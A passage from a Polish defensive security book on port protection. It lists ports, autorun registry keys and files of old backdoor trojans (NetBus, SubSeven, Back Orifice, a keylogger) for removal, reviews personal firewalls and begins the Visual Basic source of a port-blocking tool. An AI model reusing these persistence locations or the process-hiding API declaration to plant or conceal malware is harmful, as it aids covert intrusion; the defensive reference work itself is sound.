    cntUsage As Long 
    th32ProcessID As Long 
    th32DefaultHeapID As Long 
    th32ModuleID As Long 
    cntThreads As Long 
    th32ParentProcessID As Long 
    pcPriClassBase As Long 
    dwFlags As Long 
    szexeFile As String * MAX_PATH 
    End Type 
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal 
ProcessID As   
  Long, ByVal ServiceFlags As Long) As Long 
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long 

Lista portów 

Aby Czytelnik miał pełną orientację, przedstawimy teraz listę portów i związanych z nimi 
szkodliwych  usług,  uzupełnioną  danymi  niezbędnymi  do  podjęcia  wymienionych 
wcześniej czynności (a więc usunięcia plików i wpisów rejestru). 

 

 

Po  oczyszczeniu  systemu  ze  szkodliwych  „rodzynków”  nigdy  nie  naleŜy  rezygnować 
z restartu systemu — zapewni to stabilność pracy  komputera, jak równieŜ pewność, Ŝe  w 
pamięci nie pozostały Ŝadne niepotrzebne składniki. Przy usuwaniu kluczy rejestru dodat-
kowy restart naleŜy wykonać przed przejściem do usuwania plików, które wskazują. 

 

 

JeŜeli masz trudności lub obawiasz się wprowadzania zmian systemowych w rejestrze Win-
dows,  sięgnij  do  dodatku  A,  gdzie  znajdziesz  więcej  informacji  o  oprogramowaniu 
wspomagającym zabezpieczanie systemu. Korzystając z TigerWatch moŜesz monitorować i 
blokować porty oraz usługi systemowe, unikając konieczności bezpośredniego  ingerowa-
nia w pliki systemu czy rejestr. 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

109 

 

109

 

Porty 21, 5400 – 5402 

Usługa: Back Construction 

Wpis w Rejestrze: 

HKEY_USERS\Default\Software\Microsoft\Windows\CurrentVersion\Run\  
(Wpis: Shell) 

Plik do usunięcia: 

\windows\cmctl32.exe

 

Usługa: Blade Runner 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: System-Tray) 

Plik do usunięcia: 

server.exe

 

Usługa: Fore 

Plik do usunięcia: 

fore.exe

 

Usługa: Invisible FTP 

Plik do usunięcia: 

ftp.exe

 

Port 23 

Usługa: Tiny Telnet Server 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 
Windll.exe = "C:\\WINDOWS\\Windll.exe" 

Plik do usunięcia: 

c:\windows\Windll.exe

 

Porty 25 i 110 

Usługa: Antigen 

Plik do usunięcia: 

antigen.exe

 

Usługa: Email Password Sender 

Pliki do usunięcia: 

winstart.bat

winstat.exe

priocol.exe

priocol.dll

 

Usługa: Shtrilitz 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: Tspool) 

Plik do usunięcia: 

spool64.exe

 

Usługa: Stealth 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: Winprotect System) 

Plik do usunięcia: 

winprotecte.exe

 

Usługa: Tapiras 

background image

 
110 

Hack Wars. Tom 2. Na tropie hakerów 

110 

 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: tapiras.exe) 

Plik do usunięcia: 

tapiras.exe

 

Usługa: WinPC 

Plik do usunięcia: 

winpc.exe

 

Porty 41, 999, 2140, 3150, 6670 – 6771, 60000 

Usługa: Deep Throat 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: SystemTray) 

Plik do usunięcia: 

systray.exe

pddt.dat

 

Porty 79 i 5321 

Usługa: Firehotker 

Plik do usunięcia: 

server.exe

 

Port 80 

Usługa: Executor 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: Executer1) 

Plik do usunięcia: 

server.exe

 lub 

sexec.exe

 

Port 113 

Usługa: Kazimas 

Plik do usunięcia: 

milbug_a.exe

 

Port 121 

Usługa: JammerKillah 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices 
(Wpis: MsWind32drv) 

Plik do usunięcia: 

MsWind32.drv

 

Porty 531 i 1045 

Usługa: Rasmin 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

111 

 

111

 

Plik do usunięcia: 

rasmin.exe

wspool.exe

winsrvc.exe

inipx.exe

upgrade.exe

 

Porty 555 i 9989 

Usługa: phAse Zero 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: MsgServ) 

Plik do usunięcia: 

msgsvr32.exe

 

Port 666 

Usługa: Attack FTP 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: Reminder) 

Plik do usunięcia: 

wscan.exe

drwatsom.exe

serv-u.ini

results.dll

wver.dll

 

Usługa: Back Construction 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: Shell) 

Plik do usunięcia: 

cmctl32.exe

 

Usługa: Cain & Abel 

Plik do usunięcia: 

abel.exe

 

Porty 1010 – 1015 

Usługa: Doly Trojan 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run for 
file tesk.exe\ (Wartość: tesk.exe) 

Plik do usunięcia: 

tesk.exe

 

Port 1042 

Usługa: BLA 

Wpisy w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
System = "C:\WINDOWS\System\mprdll.exe" HKEY_LOCAL_MACHINE\  
Software\Microsoft\Windows\CurrentVersion\Run\SystemDoor = "C:\WINDOWS\ Sys-
tem\rundll argp1" 

Plik do usunięcia: 

mprdll.exe

 

background image

 
112 

Hack Wars. Tom 2. Na tropie hakerów 

112 

 

Port 1234 

Usługa: Ultors Trojan 

Plik do usunięcia: 

t5port.exe

 

Port 1243, 6776 

Usługa: SubSeven 

Plik do usunięcia: 

nodll.exe

server.exe

kernel16.dll

windows.exe

wtching.dll

lmdrk_33.dll

 

Port 1245 

Usługa: VooDoo Doll 

Plik do usunięcia: 

adm.exe

 

Port 1492 

Usługa: FTP99CMP 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: WinDLL_16) 

Plik do usunięcia: 

windll16.exe

serv-u.ini

 

Port 1981 

Usługa: shockrave 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: NetworkPopup) 

Plik do usunięcia: 

netpopup.exe

 

Port 1999 

Usługa: BackDoor 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: notpa) 

Plik do usunięcia: 

notpa.exe

 

Porty 1999 – 2005 i 9878 

Usługa: Transmission Scout 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: kernel16) 

Plik do usunięcia: 

kernel16.exe

 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

113 

 

113

 

Port 2001 

Usługa: Trojan Cow 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: SysWindow) 

Plik do usunięcia: 

syswindow.exe

 

Port 2115 

Usługa: Bugs 

Wpis w Rejestrze:  

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: SysTray) 

Plik do usunięcia: 

systemtr.exe

 

Porty 2140 i 3150 

Usługa: The Invasor 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: SystemDLL32) 

Plik do usunięcia: 

runme.exe

 

Porty 2155 i 5512 

Usługa: Illusion Mailer 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: Sysmem) 

Plik do usunięcia: 

memory.exe

 

Port 2565 

Usługa: Striker 

Plik do usunięcia: 

servers.exe

 

Port 2600 

Usługa: Digital RootBeer 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: ActiveX Console) 

Plik do usunięcia: 

patch.exe

 

background image

 
114 

Hack Wars. Tom 2. Na tropie hakerów 

114 

 

Port 2989 

Usługa: RAT 

Wpisy w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\  
Explorer = "C:\WINDOWS\system\MSGSVR16.EXE" 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ 
RunServices\Default = " " 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ 
RunServices\Explorer = " " 

Porty 3459 – 3801 

Usługa: Eclipse 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
Rnaapp = "C:\WINDOWS\SYSTEM\rmaapp.exe" 

Plik do usunięcia: 

rmaapp.exe

 

Porty 3700, 9872 – 9875, 10067 i 10167 

Usługa: Portal of Doom 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ 
RunServices\ (Wpis: String) 

Plik do usunięcia: 

ljsgz.exe

server.exe

 

Port 4567 

Usługa: File Nail 

Plik do usunięcia: 

server.exe

 

Port 5000 

Usługa: Bubbel 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: Windows) 

Plik do usunięcia: 

bubbel.exe

 

Port 5001, 30303, 50505 

Usługa: Sockets de Troie 

Wpisy w Rejestrze:  

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Load
MSchv32 Drv = "C:\WINDOWS\SYSTEM\MSchv32.exe" 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

115 

 

115

 

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Load 
Mgadeskdll = "C:\WINDOWS\SYSTEM\Mgadeskdll.exe" 

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Load 
Rsrcload = „C:\WINDOWS\Rsrcload.exe” 

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices\
Load Csmctrl32 = „C:\WINDOWS\SYSTEM\Csmctrl32.exe” 

Plik do usunięcia: 

mschv32.exe

 

Port 5569 

Usługa: Robo-Hack 

Plik do usunięcia: 

robo-serv.exe

 

Port 6400 

Usługa: The tHing 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: Default) 

Plik do usunięcia: 

thing.exe

 

Port 6912 

Usługa: Shit Heep 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: recycle-bin) 

Pliki do usunięcia: 

system.exe

update.exe

 

Porty 6969, 16969 

Usługa: Priority 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: Pserver) 

Plik do usunięcia: 

pserver.exe

 

Port 6970 

Usługa: GateCrasher 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: Inet) 

Plik do usunięcia: 

system.exe

 

background image

 
116 

Hack Wars. Tom 2. Na tropie hakerów 

116 

 

Port 7000 

Usługa: Remote Grab 

Plik do usunięcia: 

mprexe.exe

 

Port 9400 

Usługa: InCommand 

Plik do usunięcia: 

olemon32.exe

 

Port 10101 

Usługa: BrainSpy 

Wpisy w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: Dualji) 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: Gbubuzhnw) 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: Fexhqcux) 

Plik do usunięcia: 

brainspy.exe

 

Port 10520 

Usługa: Acid Shivers 

Plik do usunięcia: 

en-cid12.exe

en-cid12.dat

 

Port 10607 

Usługa: Coma 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: RunTime) 

Pliki do usunięcia: 

msgsrv36.exe

server.exe

 

Port 12223 

Usługa: Hack’99 KeyLogger 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ 
RunServices\ (Wpis: HkeyLog) 

Plik do usunięcia: 

HKeyLog.exe

 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

117 

 

117

 

Porty 12345 – 12346 

Usługa: NetBus/2/Pro 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Services\ (Wpis: Netbus) 

Plik do usunięcia: 

sysedit.exe

patch.exe

 

Porty 20000 – 20001 

Usługa: Millenium 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: millenium) 

Plik do usunięcia: 

hool.exe

 

Port 21544 

Usługa: GirlFriend 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: windll) 

Plik do usunięcia: 

windll.exe

 

Porty 22222 i 33333 

Usługa: Prosiak 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: Microsoft DLL Loader) 

Pliki do usunięcia: 

windll32.exe

prosiak.exe

 

Port 30029 

Usługa: AOL Trojan 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ 
(Wpis: dat92003) 

Plik do usunięcia: 

dat92003.exe

 

Porty 30100 – 30102 

Usługa: NetSphere 

Wpis w Rejestrze:  

background image

 
118 

Hack Wars. Tom 2. Na tropie hakerów 

118 

 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: nssx) 

Plik do usunięcia: 

nssx.exe

 

Porty 1349, 31337 – 31338 i 54320 – 54321 

Usługa: Back Orifice 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: bo) 

Porty 31785 – 31792 

Usługa: Hack'a'Tack 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: Explorer32) 

Plik do usunięcia: 

expl32.exe

 

Port 33911 

Usługa: Spirit 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: SystemTray) 

Plik do usunięcia: 

windown.exe 

Port 40412 

Usługa: The Spy 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: systray) 

Plik do usunięcia: 

systray.exe

 

Port 47262 

Usługa: Delta Source 

Wpis w Rejestrze:  

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 
(Wpis: Ds admin tool) 

Port 65000 

Usługa: Devil 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

119 

 

119

 

Pliki do usunięcia: 

opscript.exe

winamp34.exe

wingenocid.exe

icqflood.exe

 

Programy monitorujące i blokujące 

Programy umoŜliwiające monitorowanie i blokowanie portów funkcjonują jako mini-
zapory firewall. „Mini” nie oznacza tu jednak, Ŝe zapewniają one słabszą ochronę. Są to 
samodzielne mechanizmy obronne systemów końcowych sieci. MoŜna oczekiwać, Ŝe na-
biorą  one  ogromnego  znaczenia  w  dalszym  rozwoju  technik  bezpieczeństwa.  Właściwe 
zapory firewall „z definicji” słuŜyć mają jako systemy łączności między sieciami, za-
bezpieczające jednocześnie jedną ze stron komunikacji. Współcześnie nie moŜna jed-
nak twierdzić, Ŝe zapewniają one wystarczającą ochronę. 

Systemy obecnie pracujące w sieciach, jak równieŜ na prywatnych komputerach PC, 
zawierają wiele cennych informacji — wystarczająco interesujących, aby przyciągnąć 
uwagę wszelkiej maści hakerów, crackerów czy cyberpunków. Zapory graniczne sieci 
mogą być jedynie punktem  wyjścia. I one  mogą ulec  włamaniu.  Nie naleŜy równieŜ 
lekcewaŜyć zagroŜeń wewnętrznych, inicjowanych z sieci lokalnej. Firewall jest więc 
dopiero pierwszą cegiełką. Zamykamy za sobą drzwi i przechodzimy do zabezpiecza-
nia wnętrza, aŜ do poziomu pojedynczych komputerów. 

Na kolejnych kilkunastu stronach przedstawimy najlepsze narzędzia monitorujące i bloku-
jące porty — najlepsze, ale nie ze względu na poziom sprzedaŜy czy cenę. Wybraliśmy te, 
które  oferują  najwyŜszy  poziom  ochrony  systemu.  Ich  działanie  opiera  się  na  monito-
rowaniu  i,  ewentualnie,  blokowaniu  wymiany  danych.  Pracują  w  powiązaniu  z  przyłą-
czami fizycznymi, jak karty sieciowe, lub wirtualnymi, np. połączeniami telefonicznymi. 

 

 

Przedstawiane tutaj pakiety ilustrują róŜnorodne podejścia do tych samych funkcji. Naj-
lepiej  więc  wybrać  takie,  które  odpowiada  naszym  potrzebom  i  które  moŜe  być  odpo-
wiednio dopasowywane w przyszłości. 

BlackICE Defender 

BlackICE Defender firmy Network ICE (www.networkice.com) to system ochrony przed 
włamaniami, który monitoruje komputer osobisty, korzystający z połączenia DSL, przez 
modem kablowy lub telefonicznego, wykrywając podejmowane wobec niego ataki. Wy-
krycie naruszenia zabezpieczeń sygnalizowane jest alarmem (dźwiękiem). Automatycznie 
blokowane jest przyjmowanie pakietów ze stacji atakującej (patrz rysunek 1.34). 

background image

 
120 

Hack Wars. Tom 2. Na tropie hakerów 

120 

 

Rysunek 1.34.  
Narzędzie BlackICE 
zabezpiecza równie
Ŝ 
przed atakami 
inicjowanymi  
z sieci LAN 

 

 

Działanie programu jest konfigurowalne: naruszenie zasad zabezpieczeń wprowadzać 
moŜe  źródło  zaufane,  wówczas  komunikacja  nie  zostanie  przerwana  (patrz  rysunek 
1.35). Słabą stroną takiego rozwiązania jest umoŜliwienie ataków opartych na podrabia-
niu  adresów.  Istotnym  uzupełnieniem  będzie  więc  najczęściej  blokowanie  portów.  Inne 
niedociągnięcia  narzędzia  BlackICE  to  brak  filtrowania  na  poziomie  aplikacji,  błędy 
w pracy narzędzia oraz brak mechanizmów zarządzania zasadami bezpieczeństwa. 

Rysunek 1.35.  
Konfigurowanie 
narz
ędzia 

 

 

W ogólnym ujęciu, BlackICE Defender działa bardzo skutecznie i zapewnia zarówno 
raporty, jak i przegląd historii ataków (patrz rysunek 1.36). Wbudowany mechanizm 
ś

ledzenia  gromadzi  informacje  o  atakach  („dowody”):  adres  IP  hakera,  jego  nazwę 

DNS i adres MAC, wraz z przesyłanymi do lokalnego komputera danymi. Naruszenia 
bezpieczeństwa  oceniane  są  odpowiednio  do  poziomu  ich  szkodliwości.  PoniŜej  po-
ziomu  oznaczonego  jako  60  znajdziemy  charakterystyczne  dla  fazy  rozpoznawania 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

121 

 

121

 

sieci  wywołania  róŜnych  skanerów.  Ataki  o  wyŜszym  poziomie  szkodliwości  to  juŜ 
faktyczne włamania przeprowadzane przez doświadczonych hakerów. 

Firma Network ICE oferuje równieŜ nowszy produkt, ICEpaq Security Suite, zapew-
niający  ochronę  sieci  przedsiębiorstw,  łącznie  z  dostępem  VPN.  Pakiet  zawiera  moduły 
słuŜące do instalowania na serwerach w sieci, połączone ze scentralizowanym systemem 
zarządzania. 

Podsumowując, produkty Network ICE to interesujące rozwiązanie zarówno dla ma-
łych firm, jak i duŜych lub średnich sieci przedsiębiorstw. 

Rysunek 1.36.  
BlackICE generuje 
zestawienia ataków 

 

 

LockDown 2000 

LockDown 2000 (www.lockdown2000.com) to narzędzie do ochrony systemu, zapew-
niające  wykrywanie  koni  trojańskich  oraz  ataków  ICQ  i  Nuke  (patrz  rysunek  1.37). 
WyposaŜone  zostało  równieŜ  w  mechanizmy  usuwania  duŜej  ilości  szkodliwych  usług. 
LockDown  2000  monitoruje  równieŜ  udziały  w  systemie.  Pakiet  zbiera  ostatnio  bardzo 
pozytywne opinie. 

Rysunek 1.37.  
Interfejs graficzny 
narz
ędzia 
LockDown 2000 

 

 

background image

 
122 

Hack Wars. Tom 2. Na tropie hakerów 

122 

 

Norton Internet Security 

Norton Internet Security (www.norton.com) to profesjonalna ochrona przed  włamania-
mi.  Zbudowany  wokół  sprawdzonego  jądra  pakiet  zapewnia  ochronę  przed  takimi 
atakami  zdalnymi,  jak  DoS,  wirusy,  formanty  ActiveX,  skrypty  Java  i  wieloma  innymi. 
Automatyczne pobieranie nowych definicji wirusów zapewnia technologia LiveUpdate
MoŜna równieŜ  zabezpieczyć swoje informacje personalne,  uniemoŜliwiając przesyłanie 
plików  cookie.  Wszystkie  te  funkcje  zapewniają  pakietowi  Norton  Internet  Security 
niezachwianą pozycję wśród programów „z górnej półki”. 

Interfejs administracyjny uwzględnia duŜą liczbę łatwo dostępnych i rozbudowanych 
funkcji, stając się przez to nieco mniej przejrzysty dla uŜytkowników o małym doświad-
czeniu (patrz rysunek 1.38). Próbą zaradzenia temu problemowi są mechanizmy auto-
matycznego konfigurowania zapory. Mimo to, łatwo o błędy w ustawieniach, prowadzące 
do zablokowania standardowych procedur komunikacyjnych. Sygnalizowane są rów-
nieŜ problemy ze stabilnością systemu operacyjnego po zainstalowaniu całości pakie-
tu. MoŜna podejrzewać, Ŝe wynikają one z łączenia instalacji Norton Internet Se-
curity
 z innym oprogramowaniem o podobnym przeznaczeniu. 

Rysunek 1.38.  
Zaawansowane 
ustawienia 
konfiguracyjne 
pakietu Norton 
Internet Security 

 

 

ZoneAlarm Pro 

ZoneAlarm  Pro,  firmy  ZoneLabs  (www.zonelabs.com)  to  kolejny  popularny  demon 
„osobistej  zapory  firewall”,  przeznaczony  przede  wszystkim  do  wykorzystania  na  łą-
czach telefonicznych, DSL i kablowych (choć nie tylko). Produkt ten bardzo skutecznie 
blokuje próby nieuprawnionego dostępu, uwzględniając równieŜ techniki „zasłaniania” 
(cloaking). Łatwe jest konfigurowanie  własnych reguł zabezpieczeń, blokujących dostęp 
do Internetu przy zachowaniu komunikacji z udziałami lokalnymi. Całość ustawień zebra-
na została w prostym interfejsie konfiguracyjnym, przedstawionym na rysunku 1.39. Fir-
ma oferuje równieŜ darmowe oprogramowanie ochronne dla komputerów domowych. 

 Pośród najnowszych funkcji programu znajdziemy: 









 

Ochronę hasłem, uniemoŜliwiającą nieuprawnioną zmianę ustawień zabezpieczeń. 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

123 

 

123

 









 

Błyskawiczną konfigurację udostępniania połączenia internetowego i translacji 
adresów (NAT). 









 

Zaawansowane narzędzia umoŜliwiające wymagającym uŜytkownikom 
precyzyjne dostosowanie narzędzia do własnych potrzeb. 









 

Strefę ograniczonego dostępu, umoŜliwiającą zablokowanie adresów IP, 
z których uruchamiane są skanowania portów. 

Rysunek 1.39.  
Konfigurowanie 
narz
ędzia ZoneAlarm 

 

 









 

Konfigurowalne alerty i dzienniki, umoŜliwiające natychmiastowe 
powiadamianie i ciągłe katalogowanie informacji o próbach włamań. 









 

Zaawansowane zarządzanie komunikacją aplikacji z Internetem. 









 

Zaawansowany mechanizm ochrony załączników poczty elektronicznej 
MailSafe, który rozpoznaje i analizuje pliki 37 typów. 

Brak w programie kilku najbardziej wyrafinowanych funkcji przypomina jedynie, Ŝe 
praca nad produktem dopiero się zaczęła. 

TigerGuard 

Jak wielokrotnie juŜ wspomniano, uŜytkownicy Windows, zarówno prywatni, jak i zwią-
zani  z  rozbudowanym  środowiskiem  sieciowym,  którzy  oczekują  moŜliwości  pełnej 
kontroli nad programem i ochrony portów  w sposób samodzielnie dostosowany do 
własnych  wymagań, skorzystać mogą z narzędzia TigerGuard. Zaznajomienie się z tym 
programem znacznie ułatwi zrozumienie celów i technik zabezpieczania portów. Jego 
filozofia jest prosta — port wykorzystywany i chroniony nie moŜe być zaatakowany. 
TigerGuard  pozwala  uŜytkownikowi  tworzyć,  ładować  i  zapisywać  własne  listy  za-
sad. W swojej bieŜącej kompilacji, demon TigerGuard rejestruje próby ataku, blokuje 
porty i wysyła powiadomienia. 

background image

 
124 

Hack Wars. Tom 2. Na tropie hakerów 

124 

 

Rozpoczynając  korzystanie  z  narzędzia  załadować  moŜna  standardowe  listy  zasad. 
Domyślnym  ograniczeniem  ich  liczby  jest  500.  Podstawowy  moduł  uzupełniają 
Intrusion Sniffer i Port Session Sniffer słuŜące do (niewidocznego) przechwytywa-
nia  informacji  o  przeprowadzanych  atakach  TCP  i  UDP  (patrz  rysunek  1.40).  Uwaga: 
Aby uniknąć problemów przy otwieraniu gniazd, zawsze naleŜy wyłączać badanie portu 
TigerGuard przed wywołaniem któregokolwiek z analizatorów sesji. Intrusion Sniffer 
przechwytuje pojedynczą sesję, a Port Session Sniffer — wszystkie sesje jednocześnie. 

Rysunek 1.40.  
TigerGuard rejestruje, 
blokuje i przechwytuje 
dane ataków 

 

 

 

 

To proste narzędzie do monitorowania i blokowania portów, powstałe dzięki pomocy Neila 
Ramsbottoma  i  Mike’a  Downa,  Czytelnik  wykorzystywać  moŜe  i  modyfikować  całko-
wicie swobodnie. W dalszej części ksiąŜki omówimy TigerWatch, narzędzie do monito-
rowania portów, które — w połączeniu z TigerSurf — oferuje juŜ pełną ochronę systemu. 
Oba  zostały  umieszczone  na  CD-ROM-ie  i  mogą  być  bezpłatnie  wykorzystywane.  Podsu-
mowując, TigerGuard pozwala dodawać do zasad ochrony pojedyncze porty; TigerWatch 
chroni przed najczęściej spotykanymi koniami trojańskimi i wirusami oraz wyposaŜony jest w 
zaawansowane opcje konfiguracyjne, pozwalające dodawać własne elementy zasad. 

NaleŜy zaznaczyć, Ŝe program TigerGuard  nie został przygotowany do pracy  w zastęp-
stwie przedstawianych wcześniej programów blokujących. Ma być jedynie dodatkowym 
ś

rodkiem  zabezpieczającym,  który  „uszczelni”  system  na  wypadek  ataków  lokalnych 

i zdalnych, w tym tych, w których zastosowano podrabianie adresu nadawcy. Do wersji na 
dysku CD dołączono listę niespełna 60 zasad — powinny one wystarczyć do rozpoczęcia 
korzystania z programu. Listy zasad zapisywane są  w plikach 

.lst

, a opcje programu 

(preferencje) — w pliku 

TigerGuard.ini

TigerGuard 

' Formularz główny (Main) 
Dim DaemonPort As String 
Dim RxData As String 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

125 

 

125

 

Dim RMN As String 
Dim RIP As String 

 

Private Sub cmdAddPort_Click() 
If lvwPortInfo.ListItems.Count >= MAX_PORTS Then 
    MsgBox "You can only add " & MAX_PORTS & " policies!", 
vbExclamation, "Error!" 
End If 
    frmPolicy.Show 1 
End Sub 

Private Sub Command1_Click() 
frmSniffer.Show 
End Sub 
 
Private Sub mnuAddPolicy_Click() 
If lvwPortInfo.ListItems.Count >= MAX_PORTS Then 
    MsgBox "You can only add " & MAX_PORTS & " policies!", 
vbExclamation, "Error!" 
End If 
    frmPolicy.Show 1 
End Sub 

Private Sub cmdRemove_Click() 
If lvwPortInfo.ListItems.Count <> 0 Then 
    lvwPortInfo.ListItems.Remove (lvwPortInfo.SelectedItem.Index) 
End If 
End Sub 
 
Private Sub mnuRemovePolicy_Click() 
If lvwPortInfo.ListItems.Count <> 0 Then 
    lvwPortInfo.ListItems.Remove (lvwPortInfo.SelectedItem.Index) 
End If 
End Sub 
 
Private Sub Form_Load() 
If DOESINIEXIST = False Then 
    MsgBox "The TigerGuard.INI file is missing. Please reload the 
applcation.",  
    vbExclamation, "Error" 
    Unload Me 
    End 
End If 
LoadINISettings 
RefreshDisplay 
End Sub 

 

Public Sub RefreshDisplay() 
lblMaxPorts = "Maximum Policies Allowed: " & MAX_PORTS 
With lvwPortInfo 
    .ColumnHeaders(1).Width = 2000 
    .ColumnHeaders(2).Width = 700 
    .ColumnHeaders(3).Width = 1400 
    .ColumnHeaders(5).Width = 1700 
    .ColumnHeaders(6).Width = 800 
End With 
End Sub 

 

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As 
Integer) 
If UnloadMode = 0 Then 
End If 
End Sub 

background image

 
126 

Hack Wars. Tom 2. Na tropie hakerów 

126 

 

 

Private Sub Form_Unload(Cancel As Integer) 
If lvwPortInfo.ListItems.Count = 0 Then 
Else 
For i = 1 To lvwPortInfo.ListItems.Count 
    If lvwPortInfo.ListItems(i).Checked = True Then 
        sckData(i).Close 
        Unload sckData(i) 
    End If 
Next i 
End If 
End Sub 
 
Private Sub lvwPortInfo_Click() 
    Dim intCurrIndex As Integer 
    If lvwPortInfo.ListItems.Count = 0 Then Exit Sub 
    intCurrIndex = lvwPortInfo.SelectedItem.Index + 1 
End Sub 
 
Private Sub lvwPortInfo_ItemCheck(ByVal Item As MSComctlLib.ListItem) 
    Dim intCurrIndex As Integer 
    intCurrIndex = Item.Index 
    If Item.Checked = True Then 
        Load sckData(intCurrIndex) 
